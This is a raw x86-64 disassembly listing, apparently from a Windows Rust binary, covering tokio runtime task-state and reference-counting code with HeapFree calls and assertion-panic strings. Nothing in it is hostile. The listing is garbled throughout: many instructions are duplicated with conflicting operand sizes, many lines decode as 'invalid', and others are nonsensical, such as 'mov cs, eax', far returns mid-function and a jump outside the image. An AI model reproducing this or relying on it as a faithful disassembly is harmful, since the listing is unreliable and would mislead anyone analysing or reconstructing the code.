ror dword [rax - 0x7d], 0xe1
clc
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14006a845
test al, 4
je 0x14006ae7e
test al, 3
je 0x14006a800
cmp rax, 0x3f
jbe 0x14006ae96
clc
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14006a81a
movzx eax, dl
lea rcx, [0x140178564]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ed10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
cmp byte [rsi + 0xa8], 3
jae 0x14006aeae
lea rdi, [rsi + 0x30]
lea edi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
pop rsi
sub byte [rbx + 0x117a7805], cl
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je case.0x1400d8602.71
xorps xmm6, xmm6
test eax, eax
jne 0x14006a916
test byte [rbp - 0x74a58a40], 5
push rdx
jp 0x14006a8d2
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
adc byte [rax + 0xf0], dh
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [rsp + 0x40]
lea edx, [rsp + 0x40]
mov rcx, rdi
call fcn.140069570
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x14006a978
test ecx, ecx
jne 0x14006a994
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rcx*8]
retf 0x8d49
mov ss, eax
add byte [rax], al
add byte [rax], al
retf 0x8d49
add byte [rax], al
lea rdx, [0x1400e4030]
mov ebx, eax
call fcn.1400d4720
mov eax, ebx
mov byte [r14 + 0x120], 1
add byte [rcx], al
add byte [rcx], al
add dword [rbx + 0x1179960d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
invalid
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
invalid
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x14006ab9d
test byte [rcx], al
add al, byte [rax]
invalid
test byte [rcx], al
add al, byte [rax]
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x140178574]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eaa70
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
cmp rax, 0x3f
cmp eax, 0x3f
invalid
cmp eax, 0x3f
jbe 0x14006aee6
and rax, 0xffffffffffffffc0
cmp rax, 0x40
cmp eax, 0x40
cmp eax, 0x40
jne case.0x14006a9b5.0
lea rcx, [rsi + 0x20]
lea ecx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14006a9f9
call fcn.140069420
mov rcx, rdi
jmp 0x14006aa15
lea rcx, [rsi + 0x20]
call fcn.140069420
lea rcx, [rsi + 0x30]
call fcn.14006a3e0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006aa30
invalid
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov cs, eax
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
js 0x14006aa4b
add byte [rcx], dh
sar bh, cl
adc eax, 0xa891d
jmp case.0x14006a9b5.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
sub byte [rbx + 0x1178c205], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006aa9f
xorps xmm6, xmm6
test eax, eax
jne 0x14006aacb
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14006a3e0
mov byte [rsi + 0xa8], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006ab32
test eax, eax
jne 0x14006ad5b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
fdiv qword [rdi + 0x11]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
add eax, 0x1177be
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006a3e0
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
invalid
add byte [rax], al
mov qword [rsi + 0x48], rbx
jmp 0x14006accd
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14006abde
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x14006ac0a
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006a3e0
mov byte [rsi + 0xa8], 4
add al, 0x8b
add eax, 0x1176f5
invalid
add al, 0x8b
add eax, 0x1176f5
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
invalid
and byte [rax], 1
add byte [rax], al
invalid
add byte [rbx + 0x357401f8], al
cmp eax, 1
je 0x14006ac6d
test eax, eax
jne 0x14006ada6
mov eax, dword [0x140182314]
invalid
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14006a3e0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], 0
add byte [rax], al
add byte [rax], al
dec dword [rdi]
push rdi
ror byte [rdi], 0x11
invalid
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0xa8], 3
xchg byte [rax + 0x3000000], ch
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006ad24
test eax, eax
jne 0x14006ad3e
invalid
mov r8d, dword [0x140182314]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
invalid
add al, ch
add ebx, dword [rdx - 0x7839fffa]
and byte [rcx], al
add byte [rax], al
invalid
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, pe_nt_image_headers64
add byte [rax], al
invalid
invalid
ror dword [rdi], 0x11
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call 0x14006b5c0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r14
ret
call 0x15006ad66
push rdi
test byte [rbp + 0x9850fc0], 0xfe
invalid
xor al, 0xc1
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
jmp 0x14006ab50
mov rbx, qword [rsi + 0x28]
cmp eax, 1
clc
add dword [rdi], ecx
test al, bl
invalid
invalid
invalid
clc
add dword [rdi], ecx
test al, bl
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14006acb7
invalid
invalid
invalid
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
jne 0x14006add4
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
jmp 0x14006ac8b
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006ae4d
xorps xmm6, xmm6
test eax, eax
jne 0x14006aacf
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
jmp 0x14006aacf
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x60]
call fcn.140108560
add byte [rax - 0x73], cl
or eax, 0xe3d1b
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
add eax, 0x48ffffe5
lea ecx, [rsi + 0x30]
call fcn.14006a3e0
mov rax, qword [rsi + 0xc0]
rol byte [rax], 0
add byte [rax - 0x7b], cl
invalid
je 0x14006af3a
rol byte [rax], 0
add byte [rax - 0x7b], cl
sal byte [rdx + rcx + 0x48], 0x8b
mov cs, eax
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax], al
add al, ch
xchg dword [rdx - 0x3f7bfff9], edi
je 0x14006aff6
movzx eax, byte [rdi + 0xa8]
test al, 0
add byte [rax], al
mov byte [rdi + 0xa8], 4
cmp al, 3
jne 0x14006affe
movups xmm0, xmmword [rdi + 0x30]
movups xmm1, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsi]
cmp rax, 2
je 0x14006afe5
test rax, rax
je 0x14006afe5
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x14006afe5
mov rbx, qword [rsi + 0x10]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14006afe5
cmp qword [rbx + 0x10], 0x11
jb 0x14006afd3
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rax, str.JoinHandle_polled_after_completion
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x20]
call fcn.140108560
int3
clc
add byte [rax], al
add byte [rax - 0x73], cl
xor al, r13b
invalid
add byte [rax], al
add byte [rbx + rcx*4], al
add eax, 0x1171fc
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006b162
test eax, eax
jne 0x14006b17c
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14006b213
add byte [rax], al
add byte [rax - 0x7d], cl
loopne 0x14006b156
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14006b1ee
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14006b1af
lea rcx, [rsi + 0x20]
call fcn.140069420
and al, ch
jno 0x14006b18f
invalid
lea rcx, [rsi + 0x30]
call fcn.14006a3e0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006b1ce
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
lea ecx, [rsi + 0x20]
call fcn.140069420
lea rcx, [rsi + 0x30]
xor al, ch
jo 0x14006b25f
invalid
dec dword [rax - 0x75]
xchg al, al
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
xor al, ch
jo 0x14006b25f
invalid
je 0x14006b286
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0xffffffc0
cmp rax, 0x40
jne 0x14006b54d
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14006b335
lea rcx, [rsi + 0x20]
call fcn.140069420
lea rcx, [rsi + 0x30]
call fcn.14006a3e0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006b354
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rax], r8b
add byte [rax], al
add byte [rax - 0x77], cl
pop rsi
mov byte [rsi + 0xa8], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006b51d
test eax, eax
jne 0x14006b537
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x14006b5c0
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14006b5e0
test al, 1
je 0x14006b7ca
test al, 2
jne 0x14006b7e2
test al, 8
jne 0x14006b705
mov rdi, qword [rsi + 0x28]
jle 0x14006b632
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006b65d
xorps xmm6, xmm6
test eax, eax
jne 0x14006b689
mov eax, dword [0x140182314]
fisubr word [rcx + rdx]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
invalid
add al, ch
retf 0x690
add dh, al
and dword [rax], 1
add byte [rax], al
invalid
invalid
mov eax, dword [0x140182314]
mov cl, 0x6c
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rcx, [rsi + 0x30]
call fcn.14006a3e0
mov byte [rsi + 0xa8], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006b6e9
test eax, eax
jne 0x14006b723
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
jmp 0x14006b723
test al, 0x10
je 0x14006b723
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006b866
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x10]
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ea6e0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14006b7fa
jne 0x14006b7b7
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x14006b772
mov rcx, rdi
call fcn.140069420
lea rcx, [rsi + 0x30]
call fcn.14006a3e0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006b791
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
mov edx, 0x23
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
mov edx, 0x25
call fcn.140108630
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x68], rax
push 0x244c8d48
and byte [rax - 0x77], cl
and al, 0x70
push 0x244c8d48
and byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_p
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x30]
call fcn.140108560
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x30]
call fcn.140108560
int3
ror byte [rax - 0x7d], 1
cli
add dword [rsi + rcx + 0x48], esi
test edx, edx
jne 0x14006b8f5
add rcx, 8
jmp fcn.1400646d0
ret
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x50], al
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0xf0], xmm0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x100], rax
mov eax, dword [rsp + 0x99]
add dword [rax], eax
add byte [rbx + 0x992484], cl
add byte [rax], al
mov dword [rsp + 0x20], eax
and al, 0x20
mov eax, dword [rsp + 0x9c]
mov dword [rsp + 0x23], eax
mov rax, qword [rsi]
and al, 0x9c
add byte [rax], al
add byte [rcx + 0x48232444], cl
mov eax, dword [rsi]
cmp rax, 9
je 0x14006bbd9
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x14006ba03
test rcx, rcx
jne 0x14006ba3c
lea rcx, [rsi + 8]
call fcn.1400646d0
mov qword [rsi], 9
cmp bl, 2
je 0x14006ba4c
jmp 0x14006bafd
add byte [rax], al
cmp eax, 5
jne 0x14006ba34
lea rcx, [rsi + 8]
movzx eax, byte [rsi + 0x78]
cmp eax, 2
je 0x14006bae8
cmp eax, 3
je 0x14006ba3c
call fcn.140064ab0
mov qword [rsi], 9
cmp bl, 2
je 0x14006ba4c
jmp 0x14006bafd
mov rcx, rsi
call fcn.140064820
mov qword [rsi], 9
cmp bl, 2
jne 0x14006bafd
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x28], edi
and al, 0x28
lea rcx, [rsp + 0x28]
call fcn.140035b40
mov rax, qword [rsi]
lea rcx, [rax - 9]
lea ecx, [rax - 9]
lea ecx, [rax - 9]
cmp rcx, 2
jae 0x14006ba7e
mov qword [rsi], 0xa
cmp rax, 0xa
jne 0x14006bb91
jmp 0x14006bbe0
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x14006bab3
test rcx, rcx
jne 0x14006bbb8
lea rcx, [rsi + 8]
call fcn.1400646d0
mov qword [rsi], 0xa
invalid
or al, byte [rax]
add byte [rax], al
jmp 0x14006bb91
invalid
cmp rax, 5
jne 0x14006bba2
lea rcx, [rsi + 8]
movzx eax, byte [rsi + 0x78]
cmp eax, 2
je 0x14006bbb3
cmp eax, 3
je 0x14006bbb8
call fcn.140064ab0
mov qword [rsi], 0xa
jmp 0x14006bb91
call fcn.140035b40
mov qword [rsi], 9
cmp bl, 2
je 0x14006ba4c
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x90], rax
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
movups xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmm1, xmmword [rsp + 0xb0]
movaps xmm2, xmmword [rsp + 0xc0]
movaps xmm3, xmmword [rsp + 0xd0]
movups xmmword [rsp + 0x60], xmm3
movups xmmword [rsp + 0x50], xmm2
movups xmmword [rsp + 0x40], xmm1
movups xmmword [rsp + 0x30], xmm0
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x23]
mov dword [rsp + 0x99], eax
mov dword [rsp + 0x9c], ecx
mov qword [rsi], 0xa
mov qword [rsp + 0x28], rdi
mov byte [rsp + 0x98], bl
lea rcx, [rsp + 0x28]
call fcn.140064ab0
cmp bl, 3
sete al
add rsp, 0x110
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
call fcn.140064820
mov qword [rsi], 0xa
jmp 0x14006bb91
invalid
call fcn.140035b40
mov qword [rsi], 0xa
jmp 0x14006bb91
mov qword [rsi], 9
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x28
call fcn.140108630
int3
mov dword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x1401421a0]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140016570
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x14006bd4b
mov al, 1
test dl, dl
jne 0x14006bd4d
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x14006bd10
cmp byte [rsp + 0x31], 0
je 0x14006bd10
test byte [rsi + 0x34], 4
jne 0x14006bd10
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
adc eax, 0xd8e81
adc eax, 0xd8e81
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14006bd4d
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014e078]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14006bd4d
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
mov eax, edx
test al, al
setne al
add rsp, 0x40
pop rsi
ret
mov eax, dword [rcx]
jmp 0x14006bd9a
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
je 0x14006bdc5
test al, 4
je 0x14006c418
test al, 3
je 0x14006bd80
invalid
fimul dword [rax - 0x7d]
cmp rax, 0x3f
jbe 0x14006c430
clc
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
ror byte [rax - 0x7d], 0xf9
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14006bd9a
movzx eax, dl
lea rcx, [0x140178584]
